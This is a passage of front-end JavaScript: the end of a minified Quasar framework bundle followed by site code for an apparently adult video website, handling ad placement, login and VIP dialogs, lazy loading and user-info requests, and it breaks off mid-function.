        warning: {
            icon: function() {
                return this.$q.iconSet.type.warning
            },
            color: "warning",
            textColor: "dark"
        },
        info: {
            icon: function() {
                return this.$q.iconSet.type.info
            },
            color: "info"
        }
    }
      , Zl = {}
      , Jl = {}
      , tc = {
        name: "QNotifications",
        created: function() {
            var t = this;
            this.notifs = {},
            Kl.forEach(function(e) {
                t.notifs[e] = [];
                var i = ["left", "center", "right"].includes(e) ? "center" : e.indexOf("top") > -1 ? "top" : "bottom"
                  , s = e.indexOf("left") > -1 ? "start" : e.indexOf("right") > -1 ? "end" : "center"
                  , n = ["left", "right"].includes(e) ? "items-" + ("left" === e ? "start" : "end") + " justify-center" : "center" === e ? "flex-center" : "items-" + s;
                Jl[e] = "q-notifications__list q-notifications__list--" + i + " fixed column no-wrap " + n
            })
        },
        methods: {
            add: function(t) {
                var e = this;
                if (!t)
                    return console.error("Notify: parameter required"),
                    !1;
                var i = {
                    textColor: "white"
                };
                if ("string" != typeof t && !0 === t.ignoreDefaults || Object.assign(i, Yl),
                Object(t) === t ? (Object.assign(i, Gl[t.type], t),
                "function" == typeof i.icon && (i.icon = i.icon.call(this))) : i.message = t,
                i.meta = {
                    hasMedia: Boolean(i.icon || i.avatar)
                },
                i.position) {
                    if (!1 === Kl.includes(i.position))
                        return console.error("Notify: wrong position: " + i.position),
                        !1
                } else
                    i.position = "bottom";
                if (void 0 === i.timeout)
                    i.timeout = 5e3;
                else {
                    var s = parseInt(i.timeout, 10);
                    if (isNaN(s) || s < 0)
                        return console.error("Notify: wrong timeout: " + i.timeout),
                        !1;
                    i.timeout = s
                }
                0 === i.timeout ? i.progress = !1 : !0 === i.progress && (i.meta.progressStyle = {
                    animationDuration: i.timeout + 1e3 + "ms"
                });
                var n = (!0 === Array.isArray(t.actions) ? t.actions : []).concat(!0 !== t.ignoreDefaults && !0 === Array.isArray(Yl.actions) ? Yl.actions : []).concat(void 0 !== Gl[t.type] && !0 === Array.isArray(Gl[t.type].actions) ? Gl[t.type].actions : []);
                i.closeBtn && n.push({
                    label: "string" == typeof i.closeBtn ? i.closeBtn : this.$q.lang.label.close
                }),
                i.actions = n.map(function(t) {
                    var e = t.handler
                      , s = t.noDismiss
                      , n = function(t, e) {
                        var i = {};
                        for (var s in t)
                            Object.prototype.hasOwnProperty.call(t, s) && -1 === e.indexOf(s) && (i[s] = t[s]);
                        return i
                    }(t, ["handler", "noDismiss"]);
                    return {
                        props: Object.assign({}, {
                            flat: !0
                        }, n),
                        on: {
                            click: "function" == typeof e ? function() {
                                e(),
                                !0 !== s && i.meta.close()
                            }
                            : function() {
                                i.meta.close()
                            }
                        }
                    }
                }),
                void 0 === i.multiLine && (i.multiLine = i.actions.length > 1),
                Object.assign(i.meta, {
                    staticClass: "q-notification row items-stretch q-notification--" + (!0 === i.multiLine ? "multi-line" : "standard") + (void 0 !== i.color ? " bg-" + i.color : "") + (void 0 !== i.textColor ? " text-" + i.textColor : "") + (void 0 !== i.classes ? " " + i.classes : ""),
                    wrapperClass: "q-notification__wrapper col relative-position border-radius-inherit " + (!0 === i.multiLine ? "column no-wrap justify-center" : "row items-center"),
                    contentClass: "q-notification__content row items-center" + (!0 === i.multiLine ? "" : " col")
                }),
                !1 === i.group ? i.group = void 0 : (void 0 !== i.group && !0 !== i.group || (i.group = [i.message, i.caption, i.multiline].concat(i.actions.map(function(t) {
                    return t.props.label + "*" + t.props.icon
                })).join("|")),
                i.group += "|" + i.position),
                0 === i.actions.length ? i.actions = void 0 : i.meta.actionsClass = "q-notification__actions row items-center " + (!0 === i.multiLine ? "justify-end" : "col-auto") + (!0 === i.meta.hasMedia ? " q-notification__actions--with-media" : "");
                var o = Zl[i.group];
                if (void 0 === o) {
                    if (i.meta.uid = Wl++,
                    i.meta.badge = 1,
                    -1 !== ["left", "right", "center"].indexOf(i.position))
                        this.notifs[i.position].splice(Math.floor(this.notifs[i.position].length / 2), 0, i);
                    else {
                        var r = i.position.indexOf("top") > -1 ? "unshift" : "push";
                        this.notifs[i.position][r](i)
                    }
                    void 0 !== i.group && (Zl[i.group] = i)
                } else {
                    void 0 !== o.meta.timer && clearTimeout(o.meta.timer);
                    var a = Zl[i.group];
                    if (void 0 !== i.badgePosition) {
                        if (!1 === Xl.includes(i.badgePosition))
                            return console.error("Notify - wrong badgePosition specified: " + i.badgePosition),
                            !1
                    } else
                        i.badgePosition = "top-" + (i.position.indexOf("left") > -1 ? "right" : "left");
                    i.meta.uid = a.meta.uid,
                    i.meta.badge = a.meta.badge + 1,
                    i.meta.badgeStaticClass = "q-notification__badge q-notification__badge--" + i.badgePosition + (void 0 !== i.badgeColor ? " bg-" + i.badgeColor : "") + (void 0 !== i.badgeTextColor ? " text-" + i.badgeTextColor : "");
                    var l = this.notifs[i.position].indexOf(a);
                    this.notifs[i.position][l] = Zl[i.group] = i
                }
                return i.meta.close = function() {
                    e.remove(i)
                }
                ,
                this.$forceUpdate(),
                i.timeout > 0 && (i.meta.timer = setTimeout(function() {
                    i.meta.close()
                }, i.timeout + 1e3)),
                i.meta.close
            },
            remove: function(t) {
                clearTimeout(t.meta.timer);
                var e = this.notifs[t.position].indexOf(t);
                if (-1 !== e) {
                    void 0 !== t.group && delete Zl[t.group];
                    var i = this.$refs["notif_" + t.meta.uid];
                    if (i) {
                        var s = getComputedStyle(i)
                          , n = s.width
                          , o = s.height;
                        i.style.left = i.offsetLeft + "px",
                        i.style.width = n,
                        i.style.height = o
                    }
                    this.notifs[t.position].splice(e, 1),
                    this.$forceUpdate(),
                    "function" == typeof t.onDismiss && t.onDismiss()
                }
            }
        },
        render: function(t) {
            var e = this;
            return t("div", {
                staticClass: "q-notifications"
            }, Kl.map(function(i) {
                return t("transition-group", {
                    key: i,
                    staticClass: Jl[i],
                    tag: "div",
                    props: {
                        name: "q-notification--" + i,
                        mode: "out-in"
                    }
                }, e.notifs[i].map(function(e) {
                    var i, s = e.meta, n = {
                        staticClass: "q-notification__message col"
                    };
                    if (!0 === e.html)
                        n.domProps = {
                            innerHTML: e.caption ? "<div>" + e.message + '</div><div class="q-notification__caption">' + e.caption + "</div>" : e.message
                        };
                    else {
                        var o = [e.message];
                        i = e.caption ? [t("div", o), t("div", {
                            staticClass: "q-notification__caption"
                        }, [e.caption])] : o
                    }
                    var r = [];
                    !0 === s.hasMedia && (e.icon ? r.push(t(Et, {
                        staticClass: "q-notification__icon",
                        attrs: {
                            role: "img"
                        },
                        props: {
                            name: e.icon
                        }
                    })) : e.avatar && r.push(t(zt, {
                        staticClass: "q-notification__avatar col-auto"
                    }, [t("img", {
                        attrs: {
                            src: e.avatar,
                            "aria-hidden": "true"
                        }
                    })]))),
                    r.push(t("div", n, i));
                    var a = [t("div", {
                        staticClass: s.contentClass
                    }, r)];
                    return !0 === e.progress && a.push(t("div", {
                        key: s.uid + "|p|" + s.badge,
                        staticClass: "q-notification__progress",
                        style: s.progressStyle,
                        class: e.progressClass
                    })),
                    void 0 !== e.actions && a.push(t("div", {
                        staticClass: s.actionsClass
                    }, e.actions.map(function(e) {
                        return t(be, {
                            props: e.props,
                            on: e.on
                        })
                    }))),
                    s.badge > 1 && a.push(t("div", {
                        key: s.uid + "|" + s.badge,
                        staticClass: s.badgeStaticClass,
                        style: e.badgeStyle,
                        class: e.badgeClass
                    }, [s.badge])),
                    t("div", {
                        ref: "notif_" + s.uid,
                        key: s.uid,
                        staticClass: s.staticClass,
                        attrs: Ul
                    }, [t("div", {
                        staticClass: s.wrapperClass
                    }, a)])
                }))
            }))
        },
        mounted: function() {
            var t = this;
            if (void 0 !== this.$q.fullscreen && !0 === this.$q.fullscreen.isCapable) {
                var e = function(e) {
                    var i = Jt(e, t.$q.fullscreen.activeEl);
                    t.$el.parentElement !== i && i.appendChild(t.$el)
                };
                this.unwatchFullscreen = this.$watch("$q.fullscreen.isActive", e),
                !0 === this.$q.fullscreen.isActive && e(!0)
            }
        },
        beforeDestroy: function() {
            void 0 !== this.unwatchFullscreen && this.unwatchFullscreen()
        }
    }
      , ec = {
        create: function(t) {
            return !0 === i ? f : this.__vm.add(t)
        },
        setDefaults: function(t) {
            t === Object(t) && Object.assign(Yl, t)
        },
        registerType: function(t, e) {
            !0 !== i && e === Object(e) && (Gl[t] = e)
        },
        install: function(e) {
            var s = e.cfg
              , n = e.$q;
            if (!0 === i)
                return n.notify = f,
                void (n.notify.setDefaults = f);
            this.setDefaults(s.notify),
            n.notify = this.create.bind(this),
            n.notify.setDefaults = this.setDefaults,
            n.notify.registerType = this.registerType;
            var o = document.createElement("div");
            document.body.appendChild(o),
            this.__vm = new t(tc),
            this.__vm.$mount(o)
        }
    };
    function ic() {
        return {
            has: f,
            getLength: f,
            getItem: f,
            getIndex: f,
            getAll: f,
            set: f,
            remove: f,
            clear: f,
            isEmpty: f
        }
    }
    function sc(t) {
        var e = window[t + "Storage"]
          , i = function(t) {
            var i = e.getItem(t);
            return i ? function(t) {
                if (t.length < 9)
                    return t;
                var e = t.substr(0, 8)
                  , i = t.substring(9);
                switch (e) {
                case "__q_date":
                    return new Date(i);
                case "__q_expr":
                    return new RegExp(i);
                case "__q_numb":
                    return Number(i);
                case "__q_bool":
                    return Boolean("1" === i);
                case "__q_strn":
                    return "" + i;
                case "__q_objt":
                    return JSON.parse(i);
                default:
                    return t
                }
            }(i) : null
        };
        return {
            has: function(t) {
                return null !== e.getItem(t)
            },
            getLength: function() {
                return e.length
            },
            getItem: i,
            getIndex: function(t) {
                return t < e.length ? i(e.key(t)) : null
            },
            getKey: function(t) {
                return t < e.length ? e.key(t) : null
            },
            getAll: function() {
                for (var t, s = {}, n = e.length, o = 0; o < n; o++)
                    s[t = e.key(o)] = i(t);
                return s
            },
            getAllKeys: function() {
                for (var t = [], i = e.length, s = 0; s < i; s++)
                    t.push(e.key(s));
                return t
            },
            set: function(t, i) {
                e.setItem(t, function(t) {
                    return "[object Date]" === Object.prototype.toString.call(t) ? "__q_date|" + t.toUTCString() : "[object RegExp]" === Object.prototype.toString.call(t) ? "__q_expr|" + t.source : "number" == typeof t ? "__q_numb|" + t : "boolean" == typeof t ? "__q_bool|" + (t ? "1" : "0") : "string" == typeof t ? "__q_strn|" + t : "function" == typeof t ? "__q_strn|" + t.toString() : t === Object(t) ? "__q_objt|" + JSON.stringify(t) : t
                }(i))
            },
            remove: function(t) {
                e.removeItem(t)
            },
            clear: function() {
                e.clear()
            },
            isEmpty: function() {
                return 0 === e.length
            }
        }
    }
    var nc = {
        install: function(t) {
            var e = t.$q
              , s = !0 === i || !1 === u.has.webStorage ? ic() : sc("local");
            e.localStorage = s,
            Object.assign(this, s)
        }
    }
      , oc = {
        install: function(t) {
            var e = t.$q
              , s = !0 === i || !1 === u.has.webStorage ? ic() : sc("session");
            e.sessionStorage = s,
            Object.assign(this, s)
        }
    }
      , rc = Object.freeze({
        __proto__: null,
        AddressbarColor: ol,
        AppFullscreen: ll,
        AppVisibility: cl,
        BottomSheet: pl,
        Cookies: kl,
        Dark: P,
        Dialog: Tl,
        LoadingBar: $l,
        Loading: Ol,
        Meta: Ql,
        Notify: ec,
        Platform: h,
        Screen: B,
        LocalStorage: nc,
        SessionStorage: oc
    });
    function ac(t) {
        setTimeout(function() {
            window.URL.revokeObjectURL(t.href)
        }, 1e4),
        t.remove()
    }
    function lc(e, i) {
        var s = window.open;
        if (!0 === h.is.cordova) {
            if (void 0 !== cordova && void 0 !== cordova.InAppBrowser && void 0 !== cordova.InAppBrowser.open)
                s = cordova.InAppBrowser.open;
            else if (void 0 !== navigator && void 0 !== navigator.app)
                return navigator.app.loadUrl(e, {
                    openExternal: !0
                })
        } else if (void 0 !== t.prototype.$q.electron)
            return t.prototype.$q.electron.shell.openExternal(e);
        var n = s(e, "_blank");
        if (n)
            return h.is.desktop && n.focus(),
            n;
        i && i()
    }
    var cc = Object.freeze({
        __proto__: null,
        clone: er,
        colors: X,
        copyToClipboard: function(t) {
            return void 0 !== navigator.clipboard ? navigator.clipboard.writeText(t) : new Promise(function(e, i) {
                var s = function(t) {
                    var e = document.createElement("textarea");
                    e.value = t,
                    e.contentEditable = !0,
                    e.style.position = "fixed",
                    document.body.appendChild(e),
                    e.focus(),
                    e.select();
                    var i = document.execCommand("copy");
                    return e.remove(),
                    i
                }(t);
                s ? e(!0) : i(s)
            }
            )
        },
        date: Xs,
        debounce: $,
        dom: te,
        event: T,
        exportFile: function(t, e, i) {
            var s = new Blob([e],{
                type: i || "text/plain"
            });
            if (window.navigator.msSaveOrOpenBlob)
                return window.navigator.msSaveOrOpenBlob(s, t);
            var n = document.createElement("a");
            n.download = t,
            n.href = window.URL.createObjectURL(s),
            n.classList.add("hidden"),
            n.style.position = "fixed",
            document.body.appendChild(n);
            try {
                return n.click(),
                ac(n),
                !0
            } catch (t) {
                return ac(n),
                t
            }
        },
        extend: no,
        format: ft,
        frameDebounce: Zo,
        noop: f,
        openURL: function(t, e) {
            if (!0 !== h.is.ios || void 0 === window.SafariViewController)
                return lc(t, e);
            window.SafariViewController.isAvailable(function(i) {
                i ? window.SafariViewController.show({
                    url: t
                }, f, e) : lc(t, e)
            })
        },
        patterns: Vi,
        scroll: Ge,
        throttle: ee,
        uid: xn
    });
    return t.use({
        install: function(t, e) {
            if (void 0 === e && (e = {}),
            !0 !== this.__qInstalled) {
                this.__qInstalled = !0;
                var s = at.config = Object.freeze(e.config || {});
                if (h.install(at, rt),
                it.install(rt, s),
                P.install(at, rt, s),
                B.install(at, rt, s),
                A.install(s),
                I.install(at, rt, e.lang),
                nt.install(at, rt, e.iconSet),
                !0 === i ? t.mixin({
                    beforeCreate: function() {
                        this.$q = this.$root.$options.$q
                    }
                }) : t.prototype.$q = at,
                e.components && Object.keys(e.components).forEach(function(i) {
                    var s = e.components[i];
                    "function" == typeof s && t.component(s.options.name, s)
                }),
                e.directives && Object.keys(e.directives).forEach(function(i) {
                    var s = e.directives[i];
                    void 0 !== s.name && void 0 !== s.unbind && t.directive(s.name, s)
                }),
                e.plugins) {
                    var n = {
                        $q: at,
                        queues: rt,
                        cfg: s
                    };
                    Object.keys(e.plugins).forEach(function(t) {
                        var i = e.plugins[t];
                        "function" == typeof i.install && !1 === ot.includes(i) && i.install(n)
                    })
                }
            }
        }
    }, {
        components: Ia,
        directives: sl,
        plugins: rc,
        config: window.quasarConfig || {}
    }),
    Object.assign({}, {
        version: "1.12.13",
        lang: I,
        iconSet: nt,
        components: Ia,
        directives: sl,
        plugins: rc,
        utils: cc
    }, Ia, sl, rc, cc)
});
avshow.dp_image_error = function(e) {
    $("#ad-ft").addClass("none")
}
;
$g.get_ads = function(zone) {
    function searchConfig(obj, zone) {
        for (let key in obj) {
            if (typeof obj[key] === "object" && obj[key] !== null) {
                if (obj[key].zone === zone) {
                    return obj[key]
                }
                let result = searchConfig(obj[key], zone);
                if (result) {
                    return result
                }
            }
        }
        return null
    }
    return searchConfig($g.config.ads_object, zone)
}
;
$g.update_ads = function(ads_conf) {
    if (ads_conf) {
        var new_ads_conf = Object.assign({}, ads_conf);
        if (ads_conf.ipcountry) {
            var replace_ads_conf = ads_conf.ipcountry["oversea"];
            if (replace_ads_conf) {
                if ($g.ipcountry && $g.ipcountry != "CN") {
                    new_ads_conf = Object.assign(new_ads_conf, replace_ads_conf);
                    console.log("replace_ads_conf:", replace_ads_conf)
                }
            }
            if (!$g.ipcountry) {
                return undefined
            }
            var replace_ads_conf = ads_conf.ipcountry[$g.ipcountry];
            if (replace_ads_conf) {}
            new_ads_conf = Object.assign(new_ads_conf, replace_ads_conf)
        }
        if (ads_conf.not_allow_countrys) {
            if (!$g.ipcountry || ads_conf.not_allow_countrys.includes($g.ipcountry)) {
                return undefined
            }
        }
        if (ads_conf.allow_domains) {
            if (!ads_conf.allow_domains.includes(document.domain)) {
                return undefined
            }
        }
        if (ads_conf.domains) {
            if (ads_conf.domains[document.domain]) {
                new_ads_conf = Object.assign(new_ads_conf, ads_conf.domains[document.domain]);
                console.log("[domain]replace_ads_conf:", replace_ads_conf)
            }
        }
        return new_ads_conf
    }
}
;
$g.show_dp = function() {
    if (avshow.show_dp_mark == false) {
        return
    }
    if (!avshow.user.is_vip) {
        var is_show_dp = true;
        var close_dp_time = localStorage.getItem("close_dp_time");
        close_dp_time = parseInt(close_dp_time);
        console.log("close_dp_time:", close_dp_time);
        if (!isNaN(close_dp_time)) {
            var now_time = avshow.server_time;
            if (!now_time) {
                now_time = (new Date).getTime() / 1e3
            }
            if (now_time - close_dp_time < 60 * 5) {
                is_show_dp = false
            }
        }
        if (is_show_dp) {
            $("#ad-ft").removeClass("none")
        } else {
            $("#ad-ft").addClass("none")
        }
        $(".downApp_close").click(function() {
            $("#ad-ft").remove();
            var now_time = (new Date).getTime() / 1e3;
            localStorage.setItem("close_dp_time", now_time)
        })
    }
}
;
function randomString(e) {
    e = e || 32;
    var t = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678"
      , a = t.length
      , n = "";
    for (i = 0; i < e; i++)
        n += t.charAt(Math.floor(Math.random() * a));
    return n
}
var ADSOBJET = {
    data() {
        return {
            show_mark: true,
            ads_position: undefined,
            ads_list: undefined,
            class_name: undefined,
            old_ads_classname_list: undefined
        }
    },
    created: function() {
        this.class_name = this.$config.class_name;
        this.old_ads_classname_list = this.$config.old_ads_classname_list;
        this.$nextTick(this.load_ads_list);
        setTimeout(()=>{
            var id = this.$el.id;
            if (this.ads_list) {}
        }
        , 1e3);
        let wp = document.getElementById("wp");
        if (wp) {
            wp.id = "__wp:" + $g.config.application_name.toLowerCase()
        }
    },
    methods: {
        is_show: function() {
            if (/\/user\//.test(window.location.href)) {
                return false
            }
            return !this.is_bot() && this.show_mark && this.ads_list
        },
        load_ads_list: function() {
            console.log("load_ads_list:", this.ads_position);
            if (this.ads_position) {
                var ads_conf = this.$config.ads_object[this.ads_position];
                if (ads_conf) {
                    this.this_ads_object = ads_conf;
                    var ads_list = this.this_ads_object;
                    this.ads_list = [];
                    var ads_keys = Object.keys(ads_list);
                    for (var i = 0; i < ads_keys.length; ++i) {
                        var ads = ads_list[ads_keys[i]];
                        ads = $g.update_ads(ads);
                        if (!ads) {
                            continue
                        }
                        if (ads.is_root) {
                            if (!$g.is_root_domain()) {
                                console.log("root ads:", ads);
                                continue
                            }
                        }
                        var ads_num = parseInt(ads["ads_num"]);
                        if (isNaN(ads_num) || !ads_num) {
                            ads_num = 1
                        }
                        for (let j = 0; j < ads_num; ++j) {
                            this.ads_list.push(ads)
                        }
                    }
                }
            }
        },
        load_base64_ads_list: async function() {
            var max_num = this.ads_list.length;
            for (var i = 0; i < max_num; ++i) {
                var ads_conf = this.ads_list[i];
                var q_image_content = $("#" + this.$el.id + " .q-img").eq(i).find("q-img__image");
                console.log("q_image_content:", q_image_content);
                if (!q_image_content || q_image_content.length == 0) {
                    await this.$axios.get("/base64/" + ads_conf["zone"]).then(response=>{
                        $("#" + this.$el.id + " .q-img").eq(i).append("<img " + "src=data:image/png;base64," + response.data + " />")
                    }
                    )
                }
            }
        }
    }
};
$g.ADSOBJET = ADSOBJET;
var ADSTEXT = {
    data() {
        return {}
    },
    created: function() {},
    methods: {
        on_ads_click: function(name) {
            let t = this.get_tracker();
            if (t) {
                t.send("event", "ads", "click", name)
            }
        }
    }
};
$g.ADSTEXT = ADSTEXT;
try {
    setTimeout(function() {
        Vue.prototype.loadCssCode($g.config.ads.style)
    }, 1)
} catch (e) {}
$g.VERSION = "1.0.0";
$g.wait_footerjs_count = 0;
$g.wait_footerjs = function(f) {
    if ($g.loaded_footer) {
        f()
    } else {
        $g.wait_footerjs_count++;
        setTimeout(()=>{
            if (!$g.loaded_footer) {
                $g.wait_footerjs(f)
            } else {
                if (f) {
                    f()
                }
            }
        }
        , 88 + $g.wait_asyncjs_count)
    }
}
;
$g.get_tracker = function() {
    if ("ga"in window && ga.getAll) {
        var trackers = ga.getAll();
        if (trackers && trackers.length > 0) {
            $g.tracker = trackers[0]
        }
    }
    return $g.tracker
}
;
$g.update_lazy = function() {
    function executeLazyFunction(e) {
        var data_src = e.getAttribute("data-src");
        if (data_src) {
            if (!e.classList.contains("diswebp") && !/.\webp/.test(data_src)) {
                if (avshow.isSupportWebp()) {
                    var generate_webp_url = avshow.generate_webp_url(data_src);
                    e.setAttribute("data-src", generate_webp_url)
                }
            }
        }
    }
    if (!avshow.lazyLoadInstance) {
        avshow.lazyLoadInstance = new LazyLoad({
            elements_selector: ".lazy",
            thresholds: "500px 10%",
            callback_enter: executeLazyFunction
        })
    } else {
        avshow.lazyLoadInstance.update()
    }
}
;
Array.prototype.remove = function(val) {
    var index = this.indexOf(val);
    if (index > -1) {
        this.splice(index, 1)
    }
}
;
if (window.jQuery) {
    window.$ = jQuery;
    window.$$ = jQuery
}
window.Cookies = Quasar.Cookies;
$g.user = {
    uid: function() {
        if (avshow.user_data) {
            return avshow.user_data.uid
        }
    },
    show_vip_dialog: function(message) {
        if (!message) {
            message = "此功能仅限VIP用户!"
        }
        Quasar.Dialog.create({
            class: "tpdialog",
            title: "提示",
            message: "<strong>" + message + '<a target="_blank" href="/buy/vip">购买VIP</a>' + "</strong>",
            html: true,
            ok: false
        }).onOk(()=>{}
        ).onCancel(()=>{}
        ).onDismiss(()=>{}
        );
        return
    },
    show_login_dialog: function(tip_lang, options) {
        if (!document.getElementById("common-dialog")) {
            Quasar.Dialog.create({
                class: "tpdialog",
                title: "提示",
                message: '<strong>请先<a target="_blank" href="/account/signin">登录</a>或<a target="_blank" href="/account/signup">注册</a></strong>',
                html: true,
                ok: false
            }).onOk(()=>{}
            ).onCancel(()=>{}
            ).onDismiss(()=>{}
            );
            return
        }
        if (!options) {
            options = {}
        }
        if (!tip_lang) {
            tip_lang = ""
        }
        options = $.extend(true, options, {
            show: true,
            remote: "/account/signin?is_dialog=true&tip_lang=" + tip_lang
        });
        $g.show_common_dialog(options);
        $g.user.set_dialog_width(600)
    },
    set_dialog_width: function(w) {
        if (!$g.ismobile()) {
            $("#common-dialog .modal-dialog").css("width", w + "px")
        }
    },
    is_login: function() {
        if ($g.user_data) {
            return true
        }
        return false
    }
};
$g.G = {
    created: function() {
        if ($g.config.color_theme === "dark") {
            this.$q.dark.set(true)
        }
    }
};
$g.SEARCHFORM = {
    data() {
        return {
            search_keyword: "",
            mobile_search: false,
            show_search_drawer: false,
            form: {
                action: "/search",
                target: "_blank"
            }
        }
    },
    created: function() {
        this.mobile_search = !this.is_mobile()
    },
    methods: {
        on_goto_search: function() {
            console.log("on_goto_search:", this.search_keyword);
            this.form = {
                action: "/search/" + this.search_keyword,
                target: "_self"
            }
        },
        on_show_search_drawer: function() {
            this.show_search_drawer = true;
            this.$nextTick(()=>{
                this.$refs.dummykeyboard.focus()
            }
            )
        },
        on_search: function(e) {
            console.log("on_search:", e);
            this.mobile_search = true
        },
        on_search_back: function(e) {
            this.mobile_search = false
        },
        checkForm: function(e) {
            return true
        },
        on_close_search_drawer: function() {
            this.show_search_drawer = false
        }
    }
};
$g.HEADER = {
    data() {
        return {}
    },
    created: function() {
        window.addEventListener("resize", event=>{
            this.$forceUpdate()
        }
        , true);
        $g.wait_footerjs(()=>{
            this.$forceUpdate()
        }
        )
    },
    methods: {}
};
avshow.videoobject = {
    name: "videoobject",
    methods: {
        video_title: function() {
            var title = this.topic_data.title;
            var video_info = this.topic_data.video_info;
            if (video_info["av_data_type"] == 2) {
                title = video_info.fanhao + " " + title
            }
            return title
        },
        duration_format: function() {
            let duration = parseFloat(this.online_video["duration"]);
            let second = parseInt(duration % 60);
            let total_minutes = parseInt(duration / 60);
            let minutes = parseInt(total_minutes % 60);
            let hour = parseInt(total_minutes / 60);
            return this.padNumber(hour, 2) + ":" + this.padNumber(minutes, 2) + ":" + this.padNumber(second, 2)
        },
        video_col_class_name: function() {
            var COMMON_ROW_COUNT = this._g.COMMON_ROW_COUNT;
            console.log("COMMON_ROW_COUNT:", COMMON_ROW_COUNT);
            let class_name = "col-" + parseInt(12 / COMMON_ROW_COUNT);
            console.log("video_col_class_name:", class_name);
            return class_name
        },
        is_jav_video: function() {
            var video_info = this.topic_data.video_info;
            return video_info["av_data_type"] === 2
        },
        resolution_description: function() {
            console.log("[resolution_description]online_video:", this.online_video);
            let resolution = this.online_video["resolution"];
            if ([360, 480, 720].includes(resolution[0])) {
                return resolution[1] + "P"
            }
            if (resolution[1] >= 1080) {
                if (resolution[1] >= 2160) {
                    return "4K"
                }
                if (resolution[0] == 1920) {
                    return "1080P"
                }
                if (resolution[0] > 1920) {
                    return "2K"
                }
            }
        }
    }
};
$g.show_common_dialog = function(options) {
    $("#common-dialog").bootstrap_modal(options)
}
;
$g.is_mobile = $g.ismobile_from_server = function() {
    return Vue.prototype.is_mobile()
}
;
$g.getDateDiff = function(dateTimeStamp) {
    var result = "";
    var minute = 1e3 * 60;
    var hour = minute * 60;
    var day = hour * 24;
    var halfamonth = day * 15;
    var month = day * 30;
    var now = (new Date).getTime();
    var diffValue = now - dateTimeStamp;
    if (diffValue < 0) {
        return
    }
    var monthC = diffValue / month;
    var weekC = diffValue / (7 * day);
    var dayC = diffValue / day;
    var hourC = diffValue / hour;
    var minC = diffValue / minute;
    if (monthC >= 1) {
        result = "" + parseInt(monthC) + "月前"
    } else if (weekC >= 1) {
        result = "" + parseInt(weekC) + "周前"
    } else if (dayC >= 1) {
        result = "" + parseInt(dayC) + "天前"
    } else if (hourC >= 1) {
        result = "" + parseInt(hourC) + "小时前"
    } else if (minC >= 1) {
        result = "" + parseInt(minC) + "分钟前"
    } else
        result = "刚刚";
    return result
}
;
$g.getdate = function(timestamp, add_time=false) {
    timestamp = parseInt(timestamp);
    var now = new Date(timestamp)
      , y = now.getFullYear()
      , m = now.getMonth() + 1
      , d = now.getDate();
    var s = y + "-" + (m < 10 ? "0" + m : m) + "-" + (d < 10 ? "0" + d : d);
    if (add_time) {
        s = s + " " + now.toTimeString().substr(0, 8)
    }
    return s
}
;
$g.showDate = function(timestamp) {
    var dtime = this.init_data.now_time - timestamp;
    if (dtime > 60 * 60 * 24 * 7) {
        return $g.getdate(timestamp * 1e3)
    }
    return $g.getDateDiff(timestamp * 1e3)
}
;
$g.loadJS = function(src, cb, async=true) {
    var isLoad = null;
    if (window.$) {
        $("script").each(function() {
            var script = $(this);
            if (src == script.attr("src")) {
                isLoad = $(this);
                return false
            }
        })
    }
    if (!isLoad) {
        var ref = document.getElementsByTagName("script")[0];
        var script = document.createElement("script");
        script.src = src;
        script.async = async;
        ref.parentNode.insertBefore(script, ref);
        if (cb && typeof cb === "function") {
            script.onload = cb
        }
        return script
    } else {
        cb(isLoad)
    }
}
;
$g.isApp = function() {
    var find_Html5Plus = navigator.userAgent.indexOf("Html5Plus");
    return find_Html5Plus >= 0
}
;
$g.test_connection = function() {
    fetch("http://example.com").then(response=>{
        if (!response.ok) {
            throw new Error("网站无法访问")
        }
        console.log("网站可访问")
    }
    ).catch(error=>{
        console.error(error)
    }
    )
}
;
$g.init_mark = false;
$g.last_request_init_time = 0;
$g.init = function() {
    if ($g.init_mark) {
        return
    }
    var key = "last:request:init:time";
    try {
        $g.last_request_init_time = localStorage.getItem(key);
        if ($g.last_request_init_time) {
            $g.last_request_init_time = parseFloat($g.last_request_init_time)
        }
    } catch (e) {}
    $g.init_mark = true;
    $g.user.is_vip = false;
    $g.server_time = (new Date).getTime() / 1e3;
    var server_time = localStorage.getItem("server_time");
    if (server_time) {
        window.server_timestamp = $g.server_time = parseFloat(server_time)
    }
    var ipcountry = localStorage.getItem("ipcountry");
    if (ipcountry) {
        $g.ipcountry = ipcountry
    }
    var clear_user_data = function() {
        if (window.Cookies) {
            window.Cookies.remove($g.config.cookie["auth"])
        }
        localStorage.removeItem("user");
        if (window.EventBus) {
            window.EventBus.dispatch("update_user")
        }
    };
    if (!$g.user_data) {
        var userstring = localStorage.getItem("user");
        if (userstring) {
            try {
                avshow.user_data = avshow.userdata = JSON.parse(userstring);
                if (avshow.userdata.user) {
                    var tmp_user = Object.assign({}, avshow.userdata.user);
                    avshow.userdata = tmp_user;
                    avshow.userdata.user = tmp_user
                }
            } catch (e) {}
        }
    }
    if (!avshow.userdata && avshow.user_data) {
        avshow.userdata = avshow.user_data
    }
    if ($g.user.is_login()) {
        try {
            $g.user.is_vip = avshow.userdata.vip > $g.server_time
        } catch (e) {}
    }
    var on_response = function(response) {
        $g.server_time = response.data.server_time;
        $g.ipcountry = response.data.ipcountry;
        var message_num = $(".message-num");
        var login = response.data.login;
        if (!login) {
            clear_user_data()
        } else {
            var user = response.data.user;
            if (user) {
                localStorage.setItem("user", JSON.stringify(user))
            }
            var message_notify = response.data.message_notify;
            var num = 0;
            if (message_notify) {
                num = parseInt(message_notify.num)
            }
            if (num > 0) {
                message_num.text(num);
                message_num.removeClass("none")
            } else {
                message_num.addClass("none")
            }
            var is_vip = user.vip > avshow.server_time;
            if ($g.user.is_vip != is_vip) {
                window.EventBus.dispatch("vip:change")
            }
            $g.user.is_vip = is_vip;
            var notifys = response.data.notifys;
            if (notifys) {
                for (var i = 0; i < notifys.length; ++i) {
                    var notify = notifys[i];
                    if (notify) {
                        $g.$message(notify, {
                            position: "top center",
                            className: "info"
                        })
                    }
                }
            }
            window.EventBus.dispatch("update_user")
        }
        window.EventBus.dispatch("update:init")
    };
    var now_time = (new Date).getTime() / 1e3;
    var dtime = now_time - $g.last_request_init_time;
    if (dtime > 60 * 16) {
        axios.get("/app/user/info", {
            params: {
                reactive: dtime > 60 * 60 * 2
            }
        }).then(function(response) {
            on_response(response.data);
            localStorage.setItem(key, now_time)
        }).catch(function(error) {
            if (error.response) {
                console.log(error.response.status);
                if (error.response.status === 500) {
                    console.log("500 Internal Server Error")
                } else if (error.response.status === 502) {
                    console.log("502 Bad Gateway")
                }
